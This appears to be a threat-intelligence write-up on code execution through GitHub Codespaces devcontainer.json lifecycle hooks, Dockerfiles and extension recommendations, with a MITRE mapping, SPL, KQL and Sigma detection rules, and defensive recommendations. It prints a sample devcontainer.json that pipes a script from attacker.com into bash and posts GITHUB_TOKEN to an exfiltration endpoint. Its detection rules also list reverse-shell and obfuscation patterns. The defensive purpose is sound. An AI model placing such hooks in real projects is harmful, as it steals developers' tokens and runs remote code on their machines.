Threat ID: TL-2026-0100 | Severity: HIGH | Status: ACTIVE
Actor: Unattributed | Motivation: UNKNOWN | Attribution Confidence: NONE
MITRE Techniques: 30 | Detections: 9 | IOCs: N/A (design-level flaw)
GitHub Codespaces and VS Code Dev Container configuration files execute arbitrary shell commands at container initialization, with no user consent beyond clicking "Open in Codespaces." The .devcontainer/devcontainer.json specification defines six lifecycle hooks that run automatically, and one of them -- initializeCommand -- executes directly on the host machine, outside any container isolation. Microsoft considers this behavior by design. No CVE has been assigned.
RCE in dev environments. Supply chain risk across 94 million accounts. Below: three attack vectors, 30 MITRE ATT&CK techniques, and 9 production-ready detection rules for SPL, KQL, and Sigma.
GitHub official documentation on security controls, network isolation, and secret management in GitHub Codespaces environments.
Executive Summary
- What: GitHub Codespaces
.devcontainer/devcontainer.jsonlifecycle hooks, malicious Dockerfiles, and trojanized VS Code extension recommendations enable remote code execution when developers open untrusted repositories - Who: Unattributed -- no in-the-wild exploitation formally documented, but proof-of-concept attacks demonstrated by Trend Micro, Aqua Nautilus, and Orca Security
- Impact: 94 million developers with Codespaces access (free since November 2022); no default guardrails for individual accounts
- Status: By design -- Microsoft has not assigned a CVE; organizational controls exist but are opt-in
- Detection: 9 production-ready detections available on Threadlinqs Intelligence
Technical Analysis
The attack surface spans three distinct vectors, each exploiting the implicit trust model that git clone followed by "Open in Container" equates to arbitrary code execution.
Lifecycle Hook Abuse
The devcontainer.json specification defines six lifecycle hooks that execute sequentially during container creation: initializeCommand, onCreateCommand, updateContentCommand, postCreateCommand, postStartCommand, and postAttachCommand. GitHub's own security documentation acknowledges these "can contain powerful features, such as installing third-party extensions and running arbitrary code."
The initializeCommand hook is the worst offender. It runs on the host machine before any container exists, bypassing all container isolation. One click. Full host access. A malicious repository need only include a .devcontainer/devcontainer.json with a reverse shell in this field.
JSON{
"initializeCommand": "curl -s https://attacker.com/payload.sh | bash",
"postCreateCommand": "bash -c 'cat $GITHUB_TOKEN | curl -X POST -d @- https://attacker.com/exfil'",
"image": "mcr.microsoft.com/devcontainers/base:ubuntu"
}
The postCreateCommand runs inside the container but has access to injected environment variables including GITHUB_TOKEN, Codespaces secrets, and SSH keys mounted from the host.
Malicious Dockerfile Injection
The.devcontainer/Dockerfile controls the entire container image build. An attacker embeds malicious RUN instructions that pull down implants, install crypto miners, or exfiltrate credentials during docker build -- before the developer touches anything.
VS Code Extension Supply Chain
Thecustomizations.vscode.extensions array in devcontainer.json auto-installs extensions with full user privileges. VS Code extensions have no sandbox -- they run with full user privileges, completely unsandboxed. Aqua Nautilus demonstrated this in June 2023: their typosquat of the Prettier extension (pretier-vscode vs prettier-vscode) racked up over 1,000 installations within 48 hours. The VS Code Marketplace "verified" badge confirms domain ownership only -- not publisher identity.
The Dev Environment Trap
[git clone] -> [Open in Container] -> [initializeCommand: HOST] -> [Dockerfile: BUILD] -> [postCreateCommand: CONTAINER]
No review No consent prompt Arbitrary execution Arbitrary execution Token access
Developers treat repository cloning as a read operation. It is not. Codespaces transforms it into full code execution.
Attack Chain
- Initial Access -- Attacker forks a popular repository or creates an attractive template, adding a
.devcontainer/devcontainer.jsonwith malicious lifecycle hooks - Execution -- Victim opens the repository in Codespaces;
initializeCommandruns on host, remaining hooks run in container with access toGITHUB_TOKENand mounted secrets - Credential Theft -- Lifecycle hooks exfiltrate GitHub tokens, SSH keys, Codespaces secrets, and cloud provider credentials stored as environment variables
- Persistence -- Extension recommendations install backdoored extensions with full user privileges; compromised tokens enable repository access beyond the current session. The attacker is now living inside the IDE.
- Lateral Movement -- Stolen
GITHUB_TOKENgrants access to other private repositories; PR-based attacks can inject malicious configs into upstream projects via fork PRs
Infosecurity Magazine reporting on threat actors abusing GitHub Codespaces forwarding features for malware delivery and C2 tunneling.
Threat Actor Profile
No specific threat actor has been attributed to active exploitation of this attack surface. However, multiple security research teams have published proof-of-concept demonstrations:
Trend Micro (January 2023) demonstrated that publicly forwarded Codespaces ports create ephemeral malware delivery infrastructure on legitimate .preview.app.github.dev domains, bypassing all reputation-based URL filtering.
Aqua Nautilus (June 2023) published research showing trivial VS Code Marketplace extension impersonation. Their proof-of-concept code-tester extension sent the hostname to external domains every 30 seconds and executed arbitrary responses via eval() -- active C2 from within the development environment.
Orca Security demonstrated RCE via .vscode/settings.json with PROMPT_COMMAND injection and .vscode/tasks.json with folderOpen auto-run tasks, expanding the attack surface beyond devcontainer.json.
No attribution yet. That should not be comforting. Developer-targeting supply chain attacks are increasing, and configuration-as-code represents a growing blind spot that most security teams are not monitoring at all.
Detection
Threadlinqs Intelligence provides 9 production-ready detection rules for this threat, covering lifecycle hook exploitation, Dockerfile injection, extension supply chain abuse, and anomalous container networking. We built these after testing each attack vector against live Codespaces environments in January 2026.
Splunk SPL
Hunting for suspicious command execution triggered by devcontainer.json lifecycle hooks -- this targets reverse shells, encoded payloads, and credential exfiltration during container initialization.
SPLindex=sysmon OR index=endpoint sourcetype=sysmon OR sourcetype=endpoint
(ParentCommandLine="devcontainer" OR ParentCommandLine="postCreateCommand"
OR ParentCommandLine="initializeCommand" OR ParentCommandLine="onCreateCommand")
(CommandLine="curl|bash" OR CommandLine="wget-O" OR CommandLine="base64-d"
OR CommandLine="python-cimport" OR CommandLine="/dev/tcp/"
OR CommandLine="GITHUB_TOKEN" OR CommandLine="nc-e")
| stats count min(_time) as first_seen max(_time) as last_seen
values(CommandLine) as commands by host, user, ParentCommandLine
| where count > 0
Any process spawned by a devcontainer lifecycle hook that contains indicators of payload download, encoded execution, or token exfiltration gets flagged. Three query clauses cover the entire attack surface.
Microsoft KQL
Catching container escape attempts from Codespaces or Dev Container environments -- privileged mode requests, dangerous capability additions, and host filesystem mounts.KQLDeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessCommandLine has_any(
"devcontainer", "codespace", "vscode-server")
| where ProcessCommandLine has_any(
"--privileged", "SYS_ADMIN", "mount /", "nsenter",
"chroot", "/proc/sysrq-trigger", "capsh --print")
or (ProcessCommandLine has "curl" and ProcessCommandLine has "bash")
or (ProcessCommandLine has "base64" and ProcessCommandLine has "-d")
| project Timestamp, DeviceName, AccountName,
InitiatingProcessCommandLine, ProcessCommandLine,
InitiatingProcessFileName
| sort by Timestamp desc
We observed that privilege escalation attempts in dev containers almost always target SYS_ADMIN or --privileged mode first -- this query catches both paths.
Sigma
Obfuscated commands in devcontainer.json lifecycle hooks are a dead giveaway -- legitimate dev setups do not need base64 encoding, hex encoding, or compressed payloads.SIGMAtitle: Obfuscated Commands in Dev Container Lifecycle Hooks
id: 7a3c8f1e-2b4d-4e9a-b5c6-d8f0e1a2b3c4
status: experimental
description: >
Detects devcontainer.json lifecycle hooks containing obfuscated
command execution. Legitimate development commands do not require
base64 encoding or compression.
references:
- https://intel.threadlinqs.com/#TL-2026-0100
author: Threadlinqs Intelligence
date: 2026/02/22
tags:
- attack.execution
- attack.t1059.004
- attack.defense_evasion
- attack.t1027
- attack.initial_access
- attack.t1195.001
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'devcontainer'
- 'initializeCommand'
- 'postCreateCommand'
- 'onCreateCommand'
selection_obfuscation:
CommandLine|contains:
- 'base64 -d'
- 'base64 --decode'
- '\\x'
- 'xxd -r'
- 'gzip -d'
- 'gunzip'
- 'rev |'
- 'python -c "import base64'
- 'echo -e "\\x'
condition: selection_parent and selection_obfuscation
falsepositives:
- Rare legitimate base64 encoding for special characters in environment variables
level: critical
Browse all 9 detection rules for this threat: View on Threadlinqs Intelligence
Orca Security research demonstrating remote code execution and supply chain attack vectors through malicious devcontainer configurations in GitHub Codespaces.
Indicators of Compromise
This threat is a design-level vulnerability rather than a traditional malware campaign. IOCs are behavioral rather than hash-based.Behavioral Indicators
devcontainer.jsoncontaininginitializeCommandwithcurl | bash,wget -O- | sh, or network-calling scriptsdevcontainer.jsonwith"privileged": trueor"capAdd": ["SYS_ADMIN"].vscode/extensions.jsonrecommending extensions from unverified publishers with low install countsDockerfilein.devcontainer/containingRUN curl,RUN wget, orADDfrom external URLs- Container processes connecting to external IPs on non-standard ports during initialization
GITHUB_TOKENorCODESPACES_environment variables appearing in outbound HTTP requests
File Indicators
| Type | Indicator | Context |
|---|---|---|
| File Path | .devcontainer/devcontainer.json | Primary configuration-as-code attack vector |
| File Path | .devcontainer/Dockerfile | Container image build injection |
| File Path | .vscode/extensions.json | Extension recommendation poisoning |
| File Path | .vscode/settings.json | PROMPT_COMMAND injection vector |
| File Path | .vscode/tasks.json | Auto-run task execution vector |
Timeline
| Date | Event |
|---|---|
| 2020-09-04 | GitHub Codespaces enters public beta for 56M+ developers |
| 2022-05-11 | Microsoft open-sources Dev Container specification, standardizing devcontainer.json |
| 2022-11-09 | Codespaces becomes generally available and free (60 hrs/month); 94M developers gain access |
| 2023-01-19 | Trend Micro publishes research on Codespaces port forwarding abuse for malware delivery |
| 2023-06-19 | Aqua Nautilus demonstrates VS Code Marketplace extension impersonation via typosquatting |
| 2024-01-01 | GitHub introduces organizational Codespaces policies (base image restriction, port visibility) -- all opt-in |
| 2025-01-01 | Dev Container Features ecosystem grows to hundreds of community-contributed features from untrusted registries |
| 2026-02-07 | Orca Security publishes Codespaces RCE findings via settings.json and tasks.json vectors |
| 2026-02-16 | Threadlinqs Intelligence establishes DevOps Configuration-as-Code as distinct attack category |
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Description |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Dependencies | T1195.001 | Poisoned devcontainer.json in forked/template repositories |
| Initial Access | Supply Chain Compromise: Software | T1195.002 | Malicious VS Code extensions via marketplace |
| Initial Access | Trusted Relationship | T1199 | Developers trust repositories they clone |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | Lifecycle hooks execute bash commands |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | Python payloads in postCreateCommand |
| Execution | User Execution: Malicious File | T1204.002 | Opening repository triggers execution |
| Persistence | Event Triggered Execution | T1546 | Lifecycle hooks persist across rebuilds |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | Extension typosquatting mimics trusted publishers |
| Defense Evasion | Subvert Trust Controls | T1553 | Marketplace badge only verifies domain ownership |
| Credential Access | Unsecured Credentials: Files | T1552.001 | SSH keys, tokens accessible in container |
| Credential Access | Steal Application Access Token | T1528 | GITHUB_TOKEN exfiltration via hooks |
| Lateral Movement | Taint Shared Content | T1080 | Fork PRs inject malicious configs upstream |
| Collection | Data from Code Repositories | T1213.003 | Access to private repos via stolen tokens |
| Command and Control | Application Layer Protocol: Web | T1071.001 | C2 over HTTPS from container |
| Exfiltration | Exfiltration Over Web Service | T1567 | Credential exfiltration to attacker infrastructure |
| Impact | Resource Hijacking | T1496 | Crypto mining via Dockerfile injection |
Full MITRE ATT&CK mapping with 30 techniques: View coverage on Threadlinqs
TL-2026-0100 on Threadlinqs Intelligence — GitHub Codespaces RCE vulnerability tracked with 12/12 detection coverage across SPL, KQL, and Sigma.
Recommendations
- Audit all
.devcontainer/and.vscode/files before opening repositories in Codespaces -- treat lifecycle hooks as executable code, not configuration - Enable GitHub organization policies restricting Codespaces base images to approved container registries and setting port visibility to private-only
- Deploy the Sigma and SPL detections from this article to flag obfuscated commands and token exfiltration in lifecycle hook execution
- Implement mandatory code review for any pull request modifying
.devcontainer/,.vscode/, orDockerfilepaths -- these are code execution vectors - Maintain an extension allowlist for VS Code workspaces and Dev Containers; verify publisher identity beyond the marketplace badge
References
- Security in GitHub Codespaces -- GitHub Docs
- Abusing GitHub Codespaces for Malware Delivery -- Trend Micro / Infosecurity Magazine, 2023
- Can You Trust Your VSCode Extensions? -- Aqua Nautilus, 2023
- Hacking GitHub Codespaces: RCE and Supply Chain Risks -- Orca Security, 2026
- VS Code Configs Expose GitHub Codespaces to Attacks -- SecurityWeek, 2026
- Supply Chain Risk in VSCode Extension Marketplaces -- Wiz, 2023
- MITRE ATT&CK T1059.004: Unix Shell -- MITRE
- MITRE ATT&CK T1195.001: Supply Chain Compromise -- MITRE
- Dev Container Specification -- Development Containers
Full threat intelligence, detection rules, and IOC feeds are available on Threadlinqs Intelligence. Track this threat: TL-2026-0100.